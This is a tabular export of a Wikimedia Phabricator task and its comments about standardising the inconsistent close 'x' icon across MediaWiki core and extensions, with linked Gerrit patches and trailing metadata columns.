+Could you come up with a specific example and exact steps to reproduce, plus the current outcome and the expected outcome? Thanks.",,,1367833876,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-zolq2daof5tqslp44gue,task_subcomment,,True,c1,1,True,,,-8,,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,1,0,1,0,0,1,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,1,1,0,0,0,0,0
+50067,"Inconsistent close icon ""x""  in Wikimedia product interfaces","The close icon as defined by the [[ https://wikimedia.github.io/WikimediaUI-Style-Guide/visual-style_icons.html | WikimediaUI icon principles ]]. OOUI is already featuring the correct icon.
+
+| | Product | Description | Code | Screenshot | Screenshot after
+| | -- | -- | -- | -- | --
+| {icon check color=green} | OOUI | [[ https://doc.wikimedia.org/oojs-ui/master/demos/?page=icons&theme=wikimediaui&direction=ltr&platform=desktop#widgets-mediawiki-vector-ltr | Uses the correct icon ]] |  | {F9379666} | 
+| {icon check color=green} | Post-Edit Feedback popup | Uses the Unicode × glyph with hover behavior | Extension:PostEdit outputs CSS generated content `×` with style rules. | {F7451633} | {F26525706} 
+| {icon check color=green} | Recent CentralNotice banners | ""x in a circle"" icon, no `:hover` behavior | Extension:CentralNotice outputs an img tag showing :$wgNoticeCloseButton which defaults to [[https://upload.wikimedia.org/wikipedia/foundation/2/20/CloseWindow19x19.png|CloseWindow19x19.png]] | {F26525761} | 
+| - | ~~Visual Editor Feedback dialog~~ | As of 2017-09 not an issue any more => converted to OOUI | | {F9404470} | 
+| {icon check color=green} | ULS | ~~Thicker stroke “x” SVG, no :hover behavior~~ | Extension:UniversalLanguageSelector custom `.uls-icon-close` class | {F9362244} | {F9404483}
+| {icon check color=green} | Extension:GuidedTour | different icon with different size |  `.guider_close` |  | 
+| {icon exclamation-triangle color=red} | Extension:MultimediaViewer | bolder, less contrast; Exempt from amending is the main close icon as it would need a full icon redesign. Will be revisited after T177432 |  | {F10595012} | 
+| {icon check color=green} | Extension:GettingStarted | different icon with different size and lighter grey |  `.mw-gettingstarted-cta-close` | {F10172642} | {F10188673}
+| {icon check color=green} | Extension:PagePreviews | different icon, bolder and bigger | | {F10318266} | {F10319955}
+| {icon check color=green} | Extension:Translate | ~~Similar to ULS, different icon though, as it's minimally smaller in layout~~ | `.grid .tux-message-editor .close` | {F9405760} | 
+
+
+The differences make WMF wikis feel unpolished.
+
+--------------------------
+Original report: 
+**Version**: 1.22.0",Low,25.0,1367638620,1517276198.0,PHID-USER-gbl4hfak3cfurt3c7skd,False,PHID-USER-caadsxn4xg5gmxrpn6kz,False,PHID-TASK-ox6rq6ltvn2e7lv2xj47,task_description,resolved,True,c1,1,False,False,False,-9,,1,0,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,1,1,1,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,1,0,1
+1007871,"Inconsistent close icon ""x""  in Wikimedia product interfaces","Change 389542 **merged** by jenkins-bot:
+[mediawiki/extensions/MultimediaViewer@master] Remove special color treatment of close icon on confirmation
+
+[[https://gerrit.wikimedia.org/r/389542]]",,,1517946899,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ox6rq6ltvn2e7lv2xj47,task_subcomment,,True,c1,3,False,,,240,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+1003339,"Inconsistent close icon ""x""  in Wikimedia product interfaces",OH from @RHo: “We can finally close the close icon”,,,1517337678,,PHID-USER-caadsxn4xg5gmxrpn6kz,False,,,PHID-TASK-ox6rq6ltvn2e7lv2xj47,task_subcomment,,True,c1,3,True,,,239,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,1,0,0,1,1,1,0,0,1,1,0,0,0,0,0,0,0,0
+1002999,"Inconsistent close icon ""x""  in Wikimedia product interfaces","Change 376851 **merged** by jenkins-bot:
+[mediawiki/extensions/CentralNotice@master] Use consistent close icon
+
+[[https://gerrit.wikimedia.org/r/376851]]
+",,,1517271747,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ox6rq6ltvn2e7lv2xj47,task_subcomment,,True,c1,3,False,,,239,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+973388,"Inconsistent close icon ""x""  in Wikimedia product interfaces","Change 394076 had a related patch set uploaded (by Esanders; owner: Esanders):
+[mediawiki/core@master] mw.postEdit: Use mw.notify to display message
+
+[[https://gerrit.wikimedia.org/r/394076]]
+",,,1512061260,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ox6rq6ltvn2e7lv2xj47,task_subcomment,,True,c1,3,False,,,230,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+959862,"Inconsistent close icon ""x""  in Wikimedia product interfaces","Change 389542 had a related patch set uploaded (by VolkerE; owner: VolkerE):
+[mediawiki/extensions/MultimediaViewer@master] Remove special color treatment of close icon on confirmation
+
+[[https://gerrit.wikimedia.org/r/389542]]
+",,,1509995888,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ox6rq6ltvn2e7lv2xj47,task_subcomment,,True,c1,3,False,,,227,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+957203,"Inconsistent close icon ""x""  in Wikimedia product interfaces","Change 385250 merged by jenkins-bot:
+[mediawiki/extensions/Popups@master] Use standard close icon
+
+[[https://gerrit.wikimedia.org/r/385250]]
+",,,1509555770,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ox6rq6ltvn2e7lv2xj47,task_subcomment,,True,c1,3,False,,,226,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+950888,"Inconsistent close icon ""x""  in Wikimedia product interfaces","Change 385250 had a related patch set uploaded (by VolkerE; owner: VolkerE):
+[mediawiki/extensions/Popups@master] Use standard close icon
+
+[[https://gerrit.wikimedia.org/r/385250]]
+",,,1508444481,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ox6rq6ltvn2e7lv2xj47,task_subcomment,,True,c1,3,False,,,224,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+947905,"Inconsistent close icon ""x""  in Wikimedia product interfaces","Change 384094 merged by jenkins-bot:
+[mediawiki/extensions/GettingStarted@master] Use standard close icon
+
+[[https://gerrit.wikimedia.org/r/384094]]
+",,,1507942239,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ox6rq6ltvn2e7lv2xj47,task_subcomment,,True,c1,3,False,,,223,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+947899,"Inconsistent close icon ""x""  in Wikimedia product interfaces","Change 384191 merged by jenkins-bot:
+[mediawiki/extensions/GuidedTour@master] Use standard close icon
+
+[[https://gerrit.wikimedia.org/r/384191]]
+",,,1507941006,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ox6rq6ltvn2e7lv2xj47,task_subcomment,,True,c1,3,False,,,223,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+947891,"Inconsistent close icon ""x""  in Wikimedia product interfaces","Change 384191 had a related patch set uploaded (by VolkerE; owner: VolkerE):
+[mediawiki/extensions/GuidedTour@master] Use standard close icon
+
+[[https://gerrit.wikimedia.org/r/384191]]
+",,,1507939773,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ox6rq6ltvn2e7lv2xj47,task_subcomment,,True,c1,3,False,,,223,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+947762,"Inconsistent close icon ""x""  in Wikimedia product interfaces","Change 384094 had a related patch set uploaded (by VolkerE; owner: VolkerE):
+[mediawiki/extensions/GettingStarted@master] Use standard close icon
+
+[[https://gerrit.wikimedia.org/r/384094]]
+",,,1507923417,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ox6rq6ltvn2e7lv2xj47,task_subcomment,,True,c1,3,False,,,223,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+947131,"Inconsistent close icon ""x""  in Wikimedia product interfaces",Possible regression: {T178111},,,1507846952,,PHID-USER-caadsxn4xg5gmxrpn6kz,False,,,PHID-TASK-ox6rq6ltvn2e7lv2xj47,task_subcomment,,True,c1,3,True,,,223,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+929260,"Inconsistent close icon ""x""  in Wikimedia product interfaces","Change 376873 merged by jenkins-bot:
+[mediawiki/core@master] postEdit: Use standard close icon
+
+[[https://gerrit.wikimedia.org/r/376873]]
+",,,1505254455,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ox6rq6ltvn2e7lv2xj47,task_subcomment,,True,c1,3,False,,,219,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+927479,"Inconsistent close icon ""x""  in Wikimedia product interfaces","Change 376869 merged by jenkins-bot:
+[mediawiki/extensions/Translate@master] Use standard close icon
+
+[[https://gerrit.wikimedia.org/r/376869]]
+",,,1504966688,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ox6rq6ltvn2e7lv2xj47,task_subcomment,,True,c1,3,False,,,218,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+927416,"Inconsistent close icon ""x""  in Wikimedia product interfaces","Change 376873 had a related patch set uploaded (by VolkerE; owner: VolkerE):
+[mediawiki/core@master] postEdit: Use standard close icon
+
+[[https://gerrit.wikimedia.org/r/376873]]
+",,,1504936447,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ox6rq6ltvn2e7lv2xj47,task_subcomment,,True,c1,3,False,,,218,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+927401,"Inconsistent close icon ""x""  in Wikimedia product interfaces","Change 376869 had a related patch set uploaded (by VolkerE; owner: VolkerE):
+[mediawiki/extensions/Translate@master] Use standard close icon
+
+[[https://gerrit.wikimedia.org/r/376869]]
+",,,1504923664,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ox6rq6ltvn2e7lv2xj47,task_subcomment,,True,c1,3,False,,,218,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+927365,"Inconsistent close icon ""x""  in Wikimedia product interfaces","Change 376851 had a related patch set uploaded (by VolkerE; owner: VolkerE):
+[mediawiki/extensions/CentralNotice@master] Use consistent close icon
+
+[[https://gerrit.wikimedia.org/r/376851]]
+",,,1504911061,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ox6rq6ltvn2e7lv2xj47,task_subcomment,,True,c1,3,False,,,218,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+926887,"Inconsistent close icon ""x""  in Wikimedia product interfaces","Change 376648 merged by jenkins-bot:
+[mediawiki/extensions/UniversalLanguageSelector@master] Use consistent close icon
+
+[[https://gerrit.wikimedia.org/r/376648]]
+",,,1504857338,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ox6rq6ltvn2e7lv2xj47,task_subcomment,,True,c1,3,False,,,218,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+926799,"Inconsistent close icon ""x""  in Wikimedia product interfaces","Change 376648 had a related patch set uploaded (by VolkerE; owner: VolkerE):
+[mediawiki/extensions/UniversalLanguageSelector@master] Use consistent close icon
+
+[[https://gerrit.wikimedia.org/r/376648]]
+",,,1504828559,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ox6rq6ltvn2e7lv2xj47,task_subcomment,,True,c1,3,False,,,218,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+769764,"Inconsistent close icon ""x""  in Wikimedia product interfaces","Just to give an update
+
+https://www.mediawiki.org/wiki/Wikimedia_Foundation_Design/Agora_icon_set gives a list of places the old icon is used, probably based off of this report, but the page has not been updated for 2 years, so it is likely out of date. 
+
+https://doc.wikimedia.org/oojs-ui/master/demos/#icons-apex-ltr gives what I believe to be the most recent icons (using apex). Based on the attached screenshot, that is indeed what Wikipedia uses in the edit feedback
+
+{F4913849}
+
+If someone could investigate other places and help to figure out to what extent this is still an issue, that'd be great",,,1480546272,,PHID-USER-4h2udy357ze7pb3oqlp3,False,,,PHID-TASK-ox6rq6ltvn2e7lv2xj47,task_subcomment,,True,c1,3,False,,,178,,0,1,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,1,0,0,0,0,1,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,1,0
+484343,"Inconsistent close icon ""x""  in Wikimedia product interfaces","{F187901}
+
+This icon is used for all of these instances mentioned above:
+
+https://upload.wikimedia.org/wikipedia/commons/5/56/PEF-1-Cropped.png
+https://upload.wikimedia.org/wikipedia/commons/3/37/CentralNotice_banner_2013-05-03.png
+https://upload.wikimedia.org/wikipedia/commons/3/37/CentralNotice_banner_2013-05-03.png
+
+---
+
+{F187902}
+{F187903}
+
+This icon is used specifically to clear input fields. 
+
+---
+
+I hope this helps. Let me know if I'm not answering any other questions mentioned. I'll provide info around specs soon.",,,1435682114,,PHID-USER-tjeabpzbwsqw3xciydvb,False,,,PHID-TASK-ox6rq6ltvn2e7lv2xj47,task_subcomment,,True,c1,3,False,,,104,,1,0,0,1,1,1,0,0,0,1,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,1,1,0,0,1
+484210,"Inconsistent close icon ""x""  in Wikimedia product interfaces",@Galorefitz: Sorry that nobody has replied yet. I've also brought up your question on the mailing list now: https://lists.wikimedia.org/pipermail/design/2015-June/002325.html,,,1435674260,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ox6rq6ltvn2e7lv2xj47,task_subcomment,,True,c1,3,True,,,104,,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,1,1,1,0,0,0,0,0,0,1
+458948,"Inconsistent close icon ""x""  in Wikimedia product interfaces","I am new here and was wondering if I could contribute to resolving this ticket.
+
+I went through the conversation and had a few doubts:
+1. Are we to switch from icons to glyphs, everywhere? Or just make the icons consistent, for now?
+2. Already pointed out, but not answered,
+
+>>! In T50067#526717, @Aklapper wrote:
+> As Jared added the ""easy"" keyword to this ticket: What is the prefered approach and expected implementation for a potential new code contributor? 
+> Which specific 'close' icon to use everywhere?
+> What is the complete list of codebases which are affected?
+",,,1431636628,,PHID-USER-v3ap2mbgahzlhkciw4ai,False,,,PHID-TASK-ox6rq6ltvn2e7lv2xj47,task_subcomment,,True,c1,3,False,,,97,,1,0,0,1,1,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,0,1,0,0,0,1,1,0,0,1,1,0,1,0,0,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,1,1,1,1,0,1,1,0,1,0,0,1
+226962,"Inconsistent close icon ""x""  in Wikimedia product interfaces","James, there are still many many interfaces especially with smaller dialogs (language switching, fundraising banners, etc) which use icons for dismiss, this is true on mobile as well due to space constraints, I'd prefer to get consistency in these places then we can investigate in which interfaces we should expand beyond just an icon. But for places we're CURRENTLY using an icon, that icon should be consistent.",,,1414441471,,PHID-USER-z3kqk2bjnqneldcznht6,False,,,PHID-TASK-ox6rq6ltvn2e7lv2xj47,task_subcomment,,True,c1,3,False,,,69,,1,0,0,0,0,1,1,0,0,0,1,1,0,0,1,1,1,1,1,0,1,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,1
+226959,"Inconsistent close icon ""x""  in Wikimedia product interfaces","(In reply to Andre Klapper from comment #9)
+> As Jared added the ""easy"" keyword to this ticket: What is the prefered
+> approach and expected implementation for a potential new code contributor? 
+> Which specific 'close' icon to use everywhere?
+> What is the complete list of codebases which are affected?
+> 
+> This ticket got a bit messy so I got lost. Summarizing is highly welcome.
+
+From what I understand, the current guidance is ""never ever ever use an icon for workflow functionality"", per user testing outcomes. This is why VE switched over to simple words instead (""Done""/""Cancel""/etc.)",,,1414441300,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ox6rq6ltvn2e7lv2xj47,task_subcomment,,True,c1,3,True,,,69,,0,0,1,1,0,1,1,0,0,0,1,0,0,0,0,1,1,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,0,0,0,1
+226955,"Inconsistent close icon ""x""  in Wikimedia product interfaces","As Jared added the ""easy"" keyword to this ticket: What is the prefered approach and expected implementation for a potential new code contributor? 
+Which specific 'close' icon to use everywhere?
+What is the complete list of codebases which are affected?
+
+This ticket got a bit messy so I got lost. Summarizing is highly welcome.",,,1414344333,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ox6rq6ltvn2e7lv2xj47,task_subcomment,,True,c1,3,True,,,68,,0,0,1,1,0,1,1,0,0,0,1,0,0,0,0,1,1,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,1,1,0,0,0,0,0
+226951,"Inconsistent close icon ""x""  in Wikimedia product interfaces","8. Besides #2 (an 'X' in a circle), other fund-raising banners use the plain 7px 'x' image donate/Small-black-close.png for their close iocn, e.g. http://meta.wikimedia.org/w/index.php?title=Main_Page&banner=B13_0725_trn_Cntrl_nd_yyYY&force=1",,,1376346995,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,,PHID-TASK-ox6rq6ltvn2e7lv2xj47,task_subcomment,,True,c1,3,False,,,6,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,0,1,1,0,0,1,0,1,1,0,1,0,1,0,0,1
+226946,"Inconsistent close icon ""x""  in Wikimedia product interfaces","(In reply to comment #4)
+> 1. Located in core (probably /skins/common/images/)
+
+In the past I've tried to use core image resources in CSS files together with @embed without success. I think that desperately needs fixing to go onward with the unification.
+
+> 3. Available in a large size and a small size
+
+I would consider having SVG version too a must.",,,1372850261,,PHID-USER-732lqsmz4v6bss3kln2v,False,,,PHID-TASK-ox6rq6ltvn2e7lv2xj47,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,1,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,1,1,0,0,1,0,1,0,0,1
+226941,"Inconsistent close icon ""x""  in Wikimedia product interfaces","7. Extension:GuidedTour uses a square [X] icon, no hover, for its .x_button style. <https://bits.wikimedia.org/static-1.22wmf3/extensions/GuidedTour/modules/externals/mediawiki.libs.guiders/mediawiki.libs.guiders.submodule/x_close_button.jpg>",,,1368227877,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,,PHID-TASK-ox6rq6ltvn2e7lv2xj47,task_subcomment,,True,c1,1,False,,,-8,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,1
+226936,"Inconsistent close icon ""x""  in Wikimedia product interfaces",I checked in a smaller version of the closewindow19x19.png image in change I0e170305.,,,1367693472,,PHID-USER-a5pveeqqwaddgfjiv2fq,False,,,PHID-TASK-ox6rq6ltvn2e7lv2xj47,task_subcomment,,True,c1,1,False,,,-9,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,1,0,0
+226931,"Inconsistent close icon ""x""  in Wikimedia product interfaces","There are also currently 2 close window images in core (besides jQuery UI):
+
+1. https://bits.wikimedia.org/static-1.22wmf3/skins/common/images/closewindow.png
+
+2. https://bits.wikimedia.org/static-1.22wmf3/skins/common/images/closewindow19x19.png
+
+I don't think #1 is used anywhere any more (but would be worth checking).
+
+I believe #2 is the same image as the one used in CentralNotice and similar to the Agora design.
+
+If we want developers to standardize on one close icon it needs to have the following properties:
+
+1. Located in core (probably /skins/common/images/)
+2. Works for any background (light, dark, grey, etc.)
+3. Available in a large size and a small size
+4. Conforms to design guidelines
+
+closewindow19x19.png is probably the best bet since it meets 3 of the 4 criteria. All we need to do is create a smaller version for use in small UI elements. Then we can start standardizing everything on that. We can override the jQuery UI close box in resources/jquery.ui/themes/default/.",,,1367693407,,PHID-USER-a5pveeqqwaddgfjiv2fq,False,,,PHID-TASK-ox6rq6ltvn2e7lv2xj47,task_subcomment,,True,c1,1,False,,,-9,,1,1,0,1,1,1,1,0,0,1,1,1,0,0,1,1,1,1,1,1,1,0,1,0,0,0,0,0,1,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,1,0,1,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1
